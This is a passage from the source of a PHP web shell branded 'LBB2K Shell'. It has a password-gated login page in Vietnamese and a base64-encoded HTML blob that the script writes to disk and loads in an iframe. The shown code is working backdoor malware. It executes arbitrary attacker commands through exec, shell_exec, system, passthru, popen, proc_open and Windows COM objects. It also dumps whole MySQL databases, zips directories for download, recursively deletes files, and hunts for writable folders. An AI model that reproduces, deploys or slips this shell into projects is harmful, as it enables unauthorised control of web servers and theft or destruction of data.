ZT0iZmxhc2h2YXJzIiB2YWx1ZT0iYXV0b3N0YXJ0PXRydWUiIC8+ICA8ZW1iZWQgc3JjPSJodHRwOi8vd3d3Lm5oYWNjdWF0dWkuY29tL20vaFNnMDJhVVdrcUxEIiBmbGFzaHZhcnM9InRhcmdldD1ibGFuayZhdXRvc3RhcnQ9dHJ1ZSIgYWxsb3dzY3JpcHRhY2Nlc3M9ImFsd2F5cyIgYWxsb3dmdWxsc2NyZWVuPSJ0cnVlIiBxdWFsaXR5PSJoaWdoIiB3bW9kZT0idHJhbnNwYXJlbnQiIHR5cGU9ImFwcGxpY2F0aW9uL3gtc2hvY2t3YXZlLWZsYXNoIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIj48L2VtYmVkPjwvb2JqZWN0Pgo8L2h0bWw+
1443';
1444 $file = fopen("HandS-Team.html", "w+");
1445 $write = fwrite($file, base64_decode($perltoolss));
1446 fclose($file);
1447 echo "<iframe src=HandS-Team.html width=100% height=720px frameborder=0></iframe> ";
1448}
1449if ($action == 'shell') {
1450 if (IS_WIN && IS_COM) {
1451 if ($program && $parameter) {
1452 $shell = new COM('Shell.Application');
1453 $a = $shell->ShellExecute($program, $parameter);
1454 m('Program run has ' . (!$a ? 'success' : 'fail'));
1455 }
1456 !$program && $program = 'c:\windows\system32\cmd.exe';
1457 !$parameter && $parameter = '/c net start > ' . SA_ROOT . 'log.txt';
1458 formhead(array('title' => 'Execute Program'));
1459 makehide('action', 'shell');
1460 makeinput(array('title' => 'Program', 'name' => 'program', 'value' => $program, 'newline' => 1));
1461 p('<p>');
1462 makeinput(array('title' => 'Parameter', 'name' => 'parameter', 'value' => $parameter));
1463 makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute'));
1464 p('</p>');
1465 formfoot();
1466 }
1467 formhead(array('title' => 'Execute Command'));
1468 makehide('action', 'shell');
1469 if (IS_WIN && IS_COM) {
1470 $execfuncdb = array('phpfunc' => 'phpfunc', 'wscript' => 'wscript', 'proc_open' => 'proc_open');
1471 makeselect(array('title' => 'Use:', 'name' => 'execfunc', 'option' => $execfuncdb, 'selected' => $execfunc, 'newline' => 1));
1472 }
1473 p('<p>');
1474 makeinput(array('title' => 'Command', 'name' => 'command', 'value' => $command));
1475 makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute'));
1476 p('</p>');
1477 formfoot();
1478 if ($command) {
1479 p('<hr width="100%" noshade /><pre>');
1480 if ($execfunc == 'wscript' && IS_WIN && IS_COM) {
1481 $wsh = new COM('WScript.shell');
1482 $exec = $wsh->exec('cmd.exe /c ' . $command);
1483 $stdout = $exec->StdOut();
1484 $stroutput = $stdout->ReadAll();
1485 echo $stroutput;
1486 } elseif ($execfunc == 'proc_open' && IS_WIN && IS_COM) {
1487 $descriptorspec = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
1488 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1489 if (is_resource($process)) {
1490 fwrite($pipes[0], $command . "\r\n");
1491 fwrite($pipes[0], "exit\r\n");
1492 fclose($pipes[0]);
1493 while (!feof($pipes[1])) {
1494 echo fgets($pipes[1], 1024);
1495 }
1496 fclose($pipes[1]);
1497 while (!feof($pipes[2])) {
1498 echo fgets($pipes[2], 1024);
1499 }
1500 fclose($pipes[2]);
1501 proc_close($process);
1502 }
1503 } else {
1504 echo (execute($command));
1505 }
1506 p('</pre>');
1507 }
1508};
1509echo '</td></tr></table>
1510<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
1511 <span style="float:right;">';
1512debuginfo();
1513ob_end_flush();;
1514echo '</span>
1515 Copyright @ 2014 .::[LBB2K]::. Profile <a href=https://www.facebook.com/LBB2K0 target=_blank><B> .::[LBB2K]::. </B></a>
1516</div>
1517<iframe style="height:1px" src="" frameborder=0 width=1></iframe>
1518</body>
1519</html>
1520';
1521function m($msg) {
1522 echo '<div style="background:rgba(241, 241, 241, 0.22);border:1px solid #00FF00;padding:15px;font:14px;text-align:center;font-weight:bold;">';
1523 echo $msg;
1524 echo '</div>';
1525}
1526function scookie($key, $value, $life = 0, $prefix = 1) {
1527 global $admin, $timestamp, $_SERVER;
1528 $key = ($prefix ? $admin['cookiepre'] : '') . $key;
1529 $life = $life ? $life : $admin['cookielife'];
1530 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
1531 setcookie($key, $value, $timestamp + $life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
1532}
1533function multi($num, $perpage, $curpage, $tablename) {
1534 $multipage = '';
1535 if ($num > $perpage) {
1536 $page = 10;
1537 $offset = 5;
1538 $pages = @ceil($num / $perpage);
1539 if ($page > $pages) {
1540 $from = 1;
1541 $to = $pages;
1542 } else {
1543 $from = $curpage - $offset;
1544 $to = $curpage + $page - $offset - 1;
1545 if ($from < 1) {
1546 $to = $curpage + 1 - $from;
1547 $from = 1;
1548 if (($to - $from) < $page && ($to - $from) < $pages) {
1549 $to = $page;
1550 }
1551 } elseif ($to > $pages) {
1552 $from = $curpage - $pages + $to;
1553 $to = $pages;
1554 if (($to - $from) < $page && ($to - $from) < $pages) {
1555 $from = $pages - $page + 1;
1556 }
1557 }
1558 }
1559 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', 1);">First</a> ' : '') . ($curpage > 1 ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . ($curpage - 1) . ');">Prev</a> ' : '');
1560 for ($i = $from;$i <= $to;$i++) {
1561 $multipage.= $i == $curpage ? $i . ' ' : '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . $i . ');">[' . $i . ']</a> ';
1562 }
1563 $multipage.= ($curpage < $pages ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . ($curpage + 1) . ');">Next</a>' : '') . ($to < $pages ? ' <a href="javascript:settable(\'' . $tablename . '\', \'\', ' . $pages . ');">Last</a>' : '');
1564 $multipage = $multipage ? '<p>Pages: ' . $multipage . '</p>' : '';
1565 }
1566 return $multipage;
1567}
1568function loginpage() {;
1569 echo '<html>
1570<head>
1571<link rel="shortcut icon" href="https://scontent.fsgn3-1.fna.fbcdn.net/v/t1.0-9/15542131_444250259297300_3292852429762641690_n.jpg?oh=ff27b276e3799df999178818960eb3c9&oe=591E77CF" />
1572
1573<body bgcolor=black background=http://1.bp.blogspot.com/-9ACZk43jvuE/VpU-FIH0mvI/AAAAAAAAJ9Y/pNl7FjMTXqY/s1600/Tuyen-tap-hinh-nen-khong-gian-vu-tru-hd%2B%25286%2529.jpg>
1574
1575
1576 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
1577<title>LBB2K Shell</title>
1578<style type="text/css">
1579A:link {text-decoration: none; color: green }
1580A:visited {text-decoration: none;color:red}
1581A:active {text-decoration: none}
1582A:hover {text-decoration: underline; color: green;}
1583input, textarea, button
1584{
1585 font-size: 11pt;
1586 color: #FFFFFF;
1587 font-family: verdana, sans-serif;
1588 background-color: #000000;
1589 border-left: 2px dashed #8B0000;
1590 border-top: 2px dashed #8B0000;
1591 border-right: 2px dashed #8B0000;
1592 border-bottom: 2px dashed #8B0000;
1593}
1594
1595</style>
1596
1597
1598<script language="javascript">
1599var rev = "fwd";
1600function titlebar(val)
1601{
1602var msg = "::. Shell By LBB2K .::";
1603var res = " ";
1604var speed = 100;
1605var pos = val;
1606msg = "===> "+msg+" <===";
1607var le = msg.length;
1608if(rev == "fwd"){
1609if(pos < le){
1610pos = pos+1;
1611scroll = msg.substr(0,pos);
1612document.title = scroll;
1613timer = window.setTimeout("titlebar("+pos+")",speed);
1614}
1615else{
1616rev = "bwd";
1617timer = window.setTimeout("titlebar("+pos+")",speed);
1618}
1619}
1620else{
1621if(pos > 0){
1622pos = pos-1;
1623var ale = le-pos;
1624scrol = msg.substr(ale,le);
1625document.title = scrol;
1626timer = window.setTimeout("titlebar("+pos+")",speed);
1627}
1628else{
1629rev = "fwd";
1630timer = window.setTimeout("titlebar("+pos+")",speed);
1631}
1632}
1633}
1634titlebar(0);
1635</script>
1636<style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-8/cur740.ani), url(http://cur.cursors-4u.net/cursors/cur-8/cur740.png), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2011/01/22/night-diamond-20.html" target="_blank" title="Night Diamond"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Night Diamond" style="position:absolute; top: 0px; right: 0px;" /></a>
1637<body bgcolor="white" background="http://i50.tinypic.com/154x5s1.gif">
1638
1639
1640
1641 <BR><BR>
1642<div align=center >
1643<fieldset style="border: 1px solid rgb(69, 69, 69); padding: 4px;width:450px;bgcolor:white;align:center;font-family:tahoma;font-size:10pt"><legend><font color=red><B>Shell By : LBB2K</b></font></legend>
1644
1645<div>
1646<font color=#99CC33>
1647<font color=#33ff00>==[ <B>LBB2K</B> ]== </font><BR><BR>
1648
1649<form method="POST" action="">
1650 <span style="font:10pt tahoma;">Viết Mật Khẩu: </span><input name="password" type="password" size="20">
1651 <input type="hidden" name="doing" value="login">
1652 <input type="submit" value="Đăng nhập">
1653 </form>
1654<a href=https://www.facebook.com/LBB2K0 target=_blank>Go To Facebook: .::[LBB2K]::. </a><BR></b>
1655<object width="300" height="308"> <param name="movie" value="http://www.nhaccuatui.com/m/TmFLlv4tS2RC" /> <param name="quality" value="high" /> <param name="wmode" value="transparent" /> <param name="allowscriptaccess" value="always" /> <param name="flashvars" value="autostart=true" /> <embed src="http://www.nhaccuatui.com/m/TmFLlv4tS2RC" flashvars="target=blank&autostart=true" allowscriptaccess="always" quality="high" wmode="transparent" type="application/x-shockwave-flash" width="1" height="1"></embed></object>
1656<script language="JavaScript">
1657<BR>
1658';
1659 echo "" . $err_mess . "";;
1660 echo ' <B><font color=#FFFFFF>
1661</div>
1662 </fieldset>
1663</head>
1664</html>
1665';
1666 exit;
1667}
1668function execute($cfe) {
1669 $res = '';
1670 if ($cfe) {
1671 if (function_exists('exec')) {
1672 @exec($cfe, $res);
1673 $res = join("\n", $res);
1674 } elseif (function_exists('shell_exec')) {
1675 $res = @shell_exec($cfe);
1676 } elseif (function_exists('system')) {
1677 @ob_start();
1678 @system($cfe);
1679 $res = @ob_get_contents();
1680 @ob_end_clean();
1681 } elseif (function_exists('passthru')) {
1682 @ob_start();
1683 @passthru($cfe);
1684 $res = @ob_get_contents();
1685 @ob_end_clean();
1686 } elseif (@is_resource($f = @popen($cfe, "r"))) {
1687 $res = '';
1688 while (!@feof($f)) {
1689 $res.= @fread($f, 1024);
1690 }
1691 @pclose($f);
1692 }
1693 }
1694 return $res;
1695}
1696function which($pr) {
1697 $path = execute("which $pr");
1698 return ($path ? $path : $pr);
1699}
1700function cf($fname, $text) {
1701 if ($fp = @fopen($fname, 'w')) {
1702 @fputs($fp, base64_decode($text));
1703 @fclose($fp);
1704 }
1705}
1706function debuginfo() {
1707 global $starttime;
1708 $mtime = explode(' ', microtime());
1709 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
1710 echo 'Xử Lý Trong ' . $totaltime . ' Giây(s)';
1711}
1712function dbconn($dbhost, $dbuser, $dbpass, $dbname = '', $charset = '', $dbport = '3306') {
1713 if (!$link = @mysql_connect($dbhost . ':' . $dbport, $dbuser, $dbpass)) {
1714 p('<h2>Can not connect to MySQL server</h2>');
1715 exit;
1716 }
1717 if ($link && $dbname) {
1718 if (!@mysql_select_db($dbname, $link)) {
1719 p('<h2>Database selected has error</h2>');
1720 exit;
1721 }
1722 }
1723 if ($link && mysql_get_server_info() > '4.1') {
1724 if (in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
1725 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
1726 }
1727 }
1728 return $link;
1729}
1730function s_array(&$array) {
1731 if (is_array($array)) {
1732 foreach ($array as $k => $v) {
1733 $array[$k] = s_array($v);
1734 }
1735 } else if (is_string($array)) {
1736 $array = stripslashes($array);
1737 }
1738 return $array;
1739}
1740function html_clean($content) {
1741 $content = htmlspecialchars($content);
1742 $content = str_replace("\n", "<br />", $content);
1743 $content = str_replace(" ", " ", $content);
1744 $content = str_replace("\t", " ", $content);
1745 return $content;
1746}
1747function getChmod($filepath) {
1748 return substr(base_convert(@fileperms($filepath), 10, 8), -4);
1749}
1750function getPerms($filepath) {
1751 $mode = @fileperms($filepath);
1752 if (($mode & 0xC000) === 0xC000) {
1753 $type = 's';
1754 } elseif (($mode & 0x4000) === 0x4000) {
1755 $type = 'd';
1756 } elseif (($mode & 0xA000) === 0xA000) {
1757 $type = 'l';
1758 } elseif (($mode & 0x8000) === 0x8000) {
1759 $type = '-';
1760 } elseif (($mode & 0x6000) === 0x6000) {
1761 $type = 'b';
1762 } elseif (($mode & 0x2000) === 0x2000) {
1763 $type = 'c';
1764 } elseif (($mode & 0x1000) === 0x1000) {
1765 $type = 'p';
1766 } else {
1767 $type = '?';
1768 }
1769 $owner['read'] = ($mode & 00400) ? 'r' : '-';
1770 $owner['write'] = ($mode & 00200) ? 'w' : '-';
1771 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
1772 $group['read'] = ($mode & 00040) ? 'r' : '-';
1773 $group['write'] = ($mode & 00020) ? 'w' : '-';
1774 $group['execute'] = ($mode & 00010) ? 'x' : '-';
1775 $world['read'] = ($mode & 00004) ? 'r' : '-';
1776 $world['write'] = ($mode & 00002) ? 'w' : '-';
1777 $world['execute'] = ($mode & 00001) ? 'x' : '-';
1778 if ($mode & 0x800) {
1779 $owner['execute'] = ($owner['execute'] == 'x') ? 's' : 'S';
1780 }
1781 if ($mode & 0x400) {
1782 $group['execute'] = ($group['execute'] == 'x') ? 's' : 'S';
1783 }
1784 if ($mode & 0x200) {
1785 $world['execute'] = ($world['execute'] == 'x') ? 't' : 'T';
1786 }
1787 return $type . $owner['read'] . $owner['write'] . $owner['execute'] . $group['read'] . $group['write'] . $group['execute'] . $world['read'] . $world['write'] . $world['execute'];
1788}
1789function getUser($filepath) {
1790 if (function_exists('posix_getpwuid')) {
1791 $array = @posix_getpwuid(@fileowner($filepath));
1792 if ($array && is_array($array)) {
1793 return ' / <a href="#" title="User: ' . $array['name'] . '
Passwd: ' . $array['passwd'] . '
Uid: ' . $array['uid'] . '
gid: ' . $array['gid'] . '
Gecos: ' . $array['gecos'] . '
Dir: ' . $array['dir'] . '
Shell: ' . $array['shell'] . '">' . $array['name'] . '</a>';
1794 }
1795 }
1796 return '';
1797}
1798function deltree($deldir) {
1799 $mydir = @dir($deldir);
1800 while ($file = $mydir->read()) {
1801 if ((is_dir($deldir . '/' . $file)) && ($file != '.') && ($file != '..')) {
1802 @chmod($deldir . '/' . $file, 0777);
1803 deltree($deldir . '/' . $file);
1804 }
1805 if (is_file($deldir . '/' . $file)) {
1806 @chmod($deldir . '/' . $file, 0777);
1807 @unlink($deldir . '/' . $file);
1808 }
1809 }
1810 $mydir->close();
1811 @chmod($deldir, 0777);
1812 return @rmdir($deldir) ? 1 : 0;
1813}
1814function bg() {
1815 global $bgc;
1816 return ($bgc++ % 2 == 0) ? 'alt1' : 'alt2';
1817}
1818function getPath($scriptpath, $nowpath) {
1819 if ($nowpath == '.') {
1820 $nowpath = $scriptpath;
1821 }
1822 $nowpath = str_replace('\\', '/', $nowpath);
1823 $nowpath = str_replace('//', '/', $nowpath);
1824 if (substr($nowpath, -1) != '/') {
1825 $nowpath = $nowpath . '/';
1826 }
1827 return $nowpath;
1828}
1829function getUpPath($nowpath) {
1830 $pathdb = explode('/', $nowpath);
1831 $num = count($pathdb);
1832 if ($num > 2) {
1833 unset($pathdb[$num - 1], $pathdb[$num - 2]);
1834 }
1835 $uppath = implode('/', $pathdb) . '/';
1836 $uppath = str_replace('//', '/', $uppath);
1837 return $uppath;
1838}
1839function getcfg($varname) {
1840 $result = get_cfg_var($varname);
1841 if ($result == 0) {
1842 return 'No';
1843 } elseif ($result == 1) {
1844 return 'Yes';
1845 } else {
1846 return $result;
1847 }
1848}
1849function getfun($funName) {
1850 return (false !== function_exists($funName)) ? 'Yes' : 'No';
1851}
1852function GetList($dir) {
1853 global $dirdata, $j, $nowpath;
1854 !$j && $j = 1;
1855 if ($dh = opendir($dir)) {
1856 while ($file = readdir($dh)) {
1857 $f = str_replace('//', '/', $dir . '/' . $file);
1858 if ($file != '.' && $file != '..' && is_dir($f)) {
1859 if (is_writable($f)) {
1860 $dirdata[$j]['filename'] = str_replace($nowpath, '', $f);
1861 $dirdata[$j]['mtime'] = @date('Y-m-d H:i:s', filemtime($f));
1862 $dirdata[$j]['dirchmod'] = getChmod($f);
1863 $dirdata[$j]['dirperm'] = getPerms($f);
1864 $dirdata[$j]['dirlink'] = ue($dir);
1865 $dirdata[$j]['server_link'] = $f;
1866 $dirdata[$j]['client_link'] = ue($f);
1867 $j++;
1868 }
1869 GetList($f);
1870 }
1871 }
1872 closedir($dh);
1873 clearstatcache();
1874 return $dirdata;
1875 } else {
1876 return array();
1877 }
1878}
1879function qy($sql) {
1880 $res = $error = '';
1881 if (!$res = @mysql_query($sql)) {
1882 return 0;
1883 } else if (is_resource($res)) {
1884 return 1;
1885 } else {
1886 return 2;
1887 }
1888 return 0;
1889}
1890function q($sql) {
1891 return @mysql_query($sql);
1892}
1893function fr($qy) {
1894 mysql_free_result($qy);
1895}
1896function sizecount($size) {
1897 if ($size > 1073741824) {
1898 $size = round($size / 1073741824 * 100) / 100 . ' G';
1899 } elseif ($size > 1048576) {
1900 $size = round($size / 1048576 * 100) / 100 . ' M';
1901 } elseif ($size > 1024) {
1902 $size = round($size / 1024 * 100) / 100 . ' K';
1903 } else {
1904 $size = $size . ' B';
1905 }
1906 return $size;
1907}
1908class PHPZip {
1909 var $out = '';
1910 function PHPZip($dir) {
1911 if (@function_exists('gzcompress')) {
1912 $curdir = getcwd();
1913 if (is_array($dir)) $filelist = $dir;
1914 else {
1915 $filelist = $this->GetFileList($dir);
1916 foreach ($filelist as $k => $v) $filelist[] = substr($v, strlen($dir) + 1);
1917 }
1918 if ((!empty($dir)) && (!is_array($dir)) && (file_exists($dir))) chdir($dir);
1919 else chdir($curdir);
1920 if (count($filelist) > 0) {
1921 foreach ($filelist as $filename) {
1922 if (is_file($filename)) {
1923 $fd = fopen($filename, 'r');
1924 $content = @fread($fd, filesize($filename));
1925 fclose($fd);
1926 if (is_array($dir)) $filename = basename($filename);
1927 $this->addFile($content, $filename);
1928 }
1929 }
1930 $this->out = $this->file();
1931 chdir($curdir);
1932 }
1933 return 1;
1934 } else return 0;
1935 }
1936 function GetFileList($dir) {
1937 static $a;
1938 if (is_dir($dir)) {
1939 if ($dh = opendir($dir)) {
1940 while ($file = readdir($dh)) {
1941 if ($file != '.' && $file != '..') {
1942 $f = $dir . '/' . $file;
1943 if (is_dir($f)) $this->GetFileList($f);
1944 $a[] = $f;
1945 }
1946 }
1947 closedir($dh);
1948 }
1949 }
1950 return $a;
1951 }
1952 var $datasec = array();
1953 var $ctrl_dir = array();
1954 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
1955 var $old_offset = 0;
1956 function unix2DosTime($unixtime = 0) {
1957 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
1958 if ($timearray['year'] < 1980) {
1959 $timearray['year'] = 1980;
1960 $timearray['mon'] = 1;
1961 $timearray['mday'] = 1;
1962 $timearray['hours'] = 0;
1963 $timearray['minutes'] = 0;
1964 $timearray['seconds'] = 0;
1965 }
1966 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
1967 }
1968 function addFile($data, $name, $time = 0) {
1969 $name = str_replace('\\', '/', $name);
1970 $dtime = dechex($this->unix2DosTime($time));
1971 $hexdtime = '\x' . $dtime[6] . $dtime[7] . '\x' . $dtime[4] . $dtime[5] . '\x' . $dtime[2] . $dtime[3] . '\x' . $dtime[0] . $dtime[1];
1972 eval('$hexdtime = "' . $hexdtime . '";');
1973 $fr = "\x50\x4b\x03\x04";
1974 $fr.= "\x14\x00";
1975 $fr.= "\x00\x00";
1976 $fr.= "\x08\x00";
1977 $fr.= $hexdtime;
1978 $unc_len = strlen($data);
1979 $crc = crc32($data);
1980 $zdata = gzcompress($data);
1981 $c_len = strlen($zdata);
1982 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
1983 $fr.= pack('V', $crc);
1984 $fr.= pack('V', $c_len);
1985 $fr.= pack('V', $unc_len);
1986 $fr.= pack('v', strlen($name));
1987 $fr.= pack('v', 0);
1988 $fr.= $name;
1989 $fr.= $zdata;
1990 $fr.= pack('V', $crc);
1991 $fr.= pack('V', $c_len);
1992 $fr.= pack('V', $unc_len);
1993 $this->datasec[] = $fr;
1994 $new_offset = strlen(implode('', $this->datasec));
1995 $cdrec = "\x50\x4b\x01\x02";
1996 $cdrec.= "\x00\x00";
1997 $cdrec.= "\x14\x00";
1998 $cdrec.= "\x00\x00";
1999 $cdrec.= "\x08\x00";
2000 $cdrec.= $hexdtime;
2001 $cdrec.= pack('V', $crc);
2002 $cdrec.= pack('V', $c_len);
2003 $cdrec.= pack('V', $unc_len);
2004 $cdrec.= pack('v', strlen($name));
2005 $cdrec.= pack('v', 0);
2006 $cdrec.= pack('v', 0);
2007 $cdrec.= pack('v', 0);
2008 $cdrec.= pack('v', 0);
2009 $cdrec.= pack('V', 32);
2010 $cdrec.= pack('V', $this->old_offset);
2011 $this->old_offset = $new_offset;
2012 $cdrec.= $name;
2013 $this->ctrl_dir[] = $cdrec;
2014 }
2015 function file() {
2016 $data = implode('', $this->datasec);
2017 $ctrldir = implode('', $this->ctrl_dir);
2018 return $data . $ctrldir . $this->eof_ctrl_dir . pack('v', sizeof($this->ctrl_dir)) . pack('v', sizeof($this->ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
2019 }
2020}
2021function sqldumptable($table, $fp = 0) {
2022 $tabledump = "DROP TABLE IF EXISTS $table;\n";
2023 $tabledump.= "CREATE TABLE $table (\n";
2024 $firstfield = 1;
2025 $fields = q("SHOW FIELDS FROM $table");
2026 while ($field = mysql_fetch_array($fields)) {
2027 if (!$firstfield) {
2028 $tabledump.= ",\n";
2029 } else {
2030 $firstfield = 0;
2031 }
2032 $tabledump.= " $field[Field] $field[Type]";
2033 if (!empty($field["Default"])) {
2034 $tabledump.= " DEFAULT '$field[Default]'";
2035 }
2036 if ($field['Null'] != "YES") {
2037 $tabledump.= " NOT NULL";
2038 }
2039 if ($field['Extra'] != "") {
2040 $tabledump.= " $field[Extra]";
2041 }
2042 }
2043 fr($fields);
2044 $keys = q("SHOW KEYS FROM $table");
2045 while ($key = mysql_fetch_array($keys)) {
2046 $kname = $key['Key_name'];
2047 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
2048 $kname = "UNIQUE|$kname";
2049 }
2050 if (!is_array($index[$kname])) {
2051 $index[$kname] = array();
2052 }
2053 $index[$kname][] = $key['Column_name'];
2054 }
2055 fr($keys);
2056 while (list($kname, $columns) = @each($index)) {
2057 $tabledump.= ",\n";
2058 $colnames = implode($columns, ",");
2059 if ($kname == "PRIMARY") {
2060 $tabledump.= " PRIMARY KEY ($colnames)";
2061 } else {
2062 if (substr($kname, 0, 6) == "UNIQUE") {
2063 $kname = substr($kname, 7);
2064 }
2065 $tabledump.= " KEY $kname ($colnames)";
2066 }
2067 }
2068 $tabledump.= "\n);\n\n";
2069 if ($fp) {
2070 fwrite($fp, $tabledump);
2071 } else {
2072 echo $tabledump;
2073 }
2074 $rows = q("SELECT * FROM $table");
2075 $numfields = mysql_num_fields($rows);
2076 while ($row = mysql_fetch_array($rows)) {
2077 $tabledump = "INSERT INTO $table VALUES(";
2078 $fieldcounter = - 1;
2079 $firstfield = 1;
2080 while (++$fieldcounter < $numfields) {
2081 if (!$firstfield) {
2082 $tabledump.= ", ";
2083 } else {
2084 $firstfield = 0;
2085 }
2086 if (!isset($row[$fieldcounter])) {
2087 $tabledump.= "NULL";
2088 } else {
2089 $tabledump.= "'" . mysql_escape_string($row[$fieldcounter]) . "'";
2090 }
2091 }
2092 $tabledump.= ");\n";
2093 if ($fp) {
2094 fwrite($fp, $tabledump);
2095 } else {
2096 echo $tabledump;
2097 }
2098 }
2099 fr($rows);
2100 if ($fp) {
2101 fwrite($fp, "\n");
2102 } else {
2103 echo "\n";
2104 }
2105}
2106function ue($str) {
2107 return urlencode($str);
2108}
2109function p($str) {
2110 echo $str . "\n";
2111}
2112function tbhead() {
2113 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
2114}
2115function tbfoot() {
2116 p('</table>');
2117}
2118function makehide($name, $value = '') {
2119 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
2120}
2121function makeinput($arg = array()) {
2122 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
2123 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
2124 !$arg['type'] && $arg['type'] = 'text';
2125 $arg['title'] = $arg['title'] ? $arg['title'] . '<br />' : '';
2126 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
2127 if ($arg['newline']) {
2128 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
2129 } else {
2130 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
2131 }
2132}
2133function makeselect($arg = array()) {
2134 if ($arg['onchange']) {
2135 $onchange = 'onchange="' . $arg['onchange'] . '"';
2136 }
2137 $arg['title'] = $arg['title'] ? $arg['title'] : '';
2138 if ($arg['newline']) p('<p>');
2139 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
2140 if (is_array($arg['option'])) {
2141 foreach ($arg['option'] as $key => $value) {
2142 if ($arg['selected'] == $key) {
2143 p("<option value=\"$key\" selected>$value</option>");
2144 } else {
2145 p("<option value=\"$key\">$value</option>");
2146 }
2147 }
2148 }
2149 p("</select>");
2150 if ($arg['newline']) p('</p>');
2151}
2152function formhead($arg = array()) {
2153 !$arg['method'] && $arg['method'] = 'post';
2154 !$arg['action'] && $arg['action'] = $self;
2155 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
2156 !$arg['name'] && $arg['name'] = 'form1';
2157 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
2158 if ($arg['title']) {
2159 p('<h2>' . $arg['title'] . ' »</h2>');
2160 }
2161}
2162function maketext($arg = array()) {
2163 !$arg['cols'] && $arg['cols'] = 100;
2164 !$arg['rows'] && $arg['rows'] = 25;
2165 $arg['title'] = $arg['title'] ? $arg['title'] . '<br />' : '';
2166 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
2167}
2168function formfooter($name = '') {
2169 !$name && $name = 'submit';
2170 p('<p><input class="bt" name="' . $name . '" id=\"' . $name . '\" type="submit" value="Lưu File"></p>');
2171 p('</form>');
2172}
2173function formfoot() {
2174 p('</form>');
2175}
2176function pr($a) {
2177 echo '<pre>';
2178 print_r($a);
2179 echo '</pre>';
2180};
2181echo '
2182';
2183?>